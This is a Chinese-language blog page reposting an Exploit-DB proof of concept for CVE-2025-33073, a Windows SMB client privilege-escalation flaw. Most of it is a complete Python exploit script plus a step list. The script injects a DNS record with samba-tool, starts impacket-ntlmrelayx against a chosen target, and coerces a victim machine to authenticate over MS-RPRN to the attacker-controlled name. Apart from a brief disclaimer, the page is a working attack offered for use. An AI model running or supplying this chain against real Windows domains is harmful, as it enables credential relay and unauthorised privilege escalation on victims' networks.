Windows 11 SMB客户端权限提升与远程代码执行漏洞利用

本文详细分析了Windows 11 SMB客户端中的安全漏洞CVE-2025-33073,通过DNS注入、NTLM中继和RPC强制认证实现权限提升和远程代码执行,包含完整的Python利用代码和攻击链说明。

Windows 11 SMB客户端 - 权限提升与远程代码执行(RCE)

漏洞信息

  • EDB-ID: 52330
  • CVE: 2025-33073
  • 类型: 远程攻击
  • 平台: Windows
  • 日期: 2025-06-15
  • 作者: Mohammed Idrees Banyamer
  • 已验证: 是

受影响版本

  • Windows 11版本22H2、22H3、23H2、24H2(10.0.22621.x和10.0.26100.x)
  • Windows Server 2022(包括23H2版本)
  • Windows Server 2019
  • Windows 10版本从1507到22H2
  • Windows Server 2016和2008(相应版本)

漏洞描述

此PoC演示了一个复杂的攻击链,利用Windows SMB客户端中的不当访问控制,通过DNS记录注入、使用impacket-ntlmrelayx的NTLM中继攻击,以及通过MS-RPRN RPC调用强制受害系统(包括Windows 11)向攻击者控制的服务器进行认证,从而实现权限提升。该漏洞影响多个Windows版本,包括Windows 11(10.0.22621.x)、Windows Server 2022及早期易受此方法影响的版本。

注意:此漏洞利用要求受害者是已认证的域用户,且环境不能启用SMB签名或扩展身份验证保护(EPA)等缓解措施。

免责声明:仅用于授权的安全测试和教育用途。

Python利用代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
#!/usr/bin/env python3
# Exploit Title: Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-13
# Tested on: Windows 11 version 22H2, Windows Server 2022, Kali Linux 2024.2
# CVE: CVE-2025-33073
# Type: Remote
# Platform: Microsoft Windows (including Windows 10, Windows 11, Windows Server 2019/2022/2025)
# Attack Vector: Remote via DNS injection and RPC coercion with NTLM relay
# User Interaction: Required (authenticated domain user)
# Remediation Level: Official Fix Available

import argparse
import subprocess
import socket
import time
import sys

def inject_dns_record(dns_ip, dc_fqdn, record_name, attacker_ip):
    print("[*] Injecting DNS record via samba-tool (requires admin privileges)...")
    cmd = [
        "samba-tool", "dns", "add", dns_ip, dc_fqdn,
        record_name, "A", attacker_ip, "--username=Administrator", "--password=YourPassword"
    ]
    try:
        subprocess.run(cmd, check=True)
        print("[+] DNS record successfully added.")
    except subprocess.CalledProcessError:
        print("[!] Failed to add DNS record. Check credentials and connectivity.")
        sys.exit(1)

def check_record(record_name):
    print("[*] Verifying DNS record propagation...")
    for i in range(10):
        try:
            result = socket.gethostbyname_ex(record_name)
            if result and result[2]:
                print(f"[+] DNS record resolved to: {result[2]}")
                return True
        except socket.gaierror:
            time.sleep(2)
    print("[!] DNS record did not propagate or resolve.")
    return False

def start_ntlmrelay(target):
    print("[*] Starting NTLM relay server (impacket-ntlmrelayx)...")
    try:
        subprocess.Popen([
            "impacket-ntlmrelayx", "-t", target, "--no-smb-server"
        ])
        print("[*] NTLM relay server started.")
    except Exception as e:
        print(f"[!] Failed to start NTLM relay server: {e}")
        sys.exit(1)

def trigger_coercion(victim_ip, fake_host):
    print("[*] Triggering victim to authenticate via MS-RPRN RPC coercion...")
    cmd = [
        "rpcping",
        "-t", f"ncacn_np:{victim_ip}[\\pipe\\spoolss]",
        "-s", fake_host,
        "-e", "1234",
        "-a", "n",
        "-u", "none",
        "-p", "none"
    ]
    try:
        subprocess.run(cmd, check=True)
        print("[+] Coercion RPC call sent successfully.")
    except subprocess.CalledProcessError:
        print("[!] RPC coercion failed. Verify victim connectivity and service status.")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Windows 11 SMB Client Elevation of Privilege PoC using DNS Injection + NTLM Relay + RPC Coercion")
    parser.add_argument("--attacker-ip", required=True, help="IP address of the attacker-controlled server")
    parser.add_argument("--dns-ip", required=True, help="IP address of the DNS server (usually the DC)")
    parser.add_argument("--dc-fqdn", required=True, help="Fully qualified domain name of the domain controller")
    parser.add_argument("--target", required=True, help="Target system to relay authentication to")
    parser.add_argument("--victim-ip", required=True, help="IP address of the victim system to coerce authentication from")
    args = parser.parse_args()

    record = "relaytrigger"
    fqdn = f"{record}.{args.dc_fqdn}"

    inject_dns_record(args.dns_ip, args.dc_fqdn, record, args.attacker_ip)
    if not check_record(fqdn):
        print("[!] DNS verification failed, aborting.")
        sys.exit(1)

    start_ntlmrelay(args.target)
    time.sleep(5)  # Wait for relay server to be ready

    trigger_coercion(args.victim_ip, fqdn)

    print("[*] Exploit chain triggered. Monitor ntlmrelayx output for authentication relays.")

if __name__ == "__main__":
    main()

攻击步骤

  1. DNS记录注入:使用samba-tool向DNS服务器注入恶意A记录
  2. DNS验证:检查DNS记录是否成功传播和解析
  3. 启动NTLM中继服务器:使用impacket-ntlmrelayx启动中继服务
  4. 触发RPC强制认证:通过MS-RPRN RPC调用强制受害系统向攻击者服务器认证
  5. 监控中继输出:观察ntlmrelayx输出以获取认证中继结果

技术要点

  • 利用Windows SMB客户端的不当访问控制
  • 结合DNS注入、NTLM中继和RPC强制认证的多阶段攻击
  • 需要域用户认证和特定的环境配置
  • 官方已提供修复方案
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计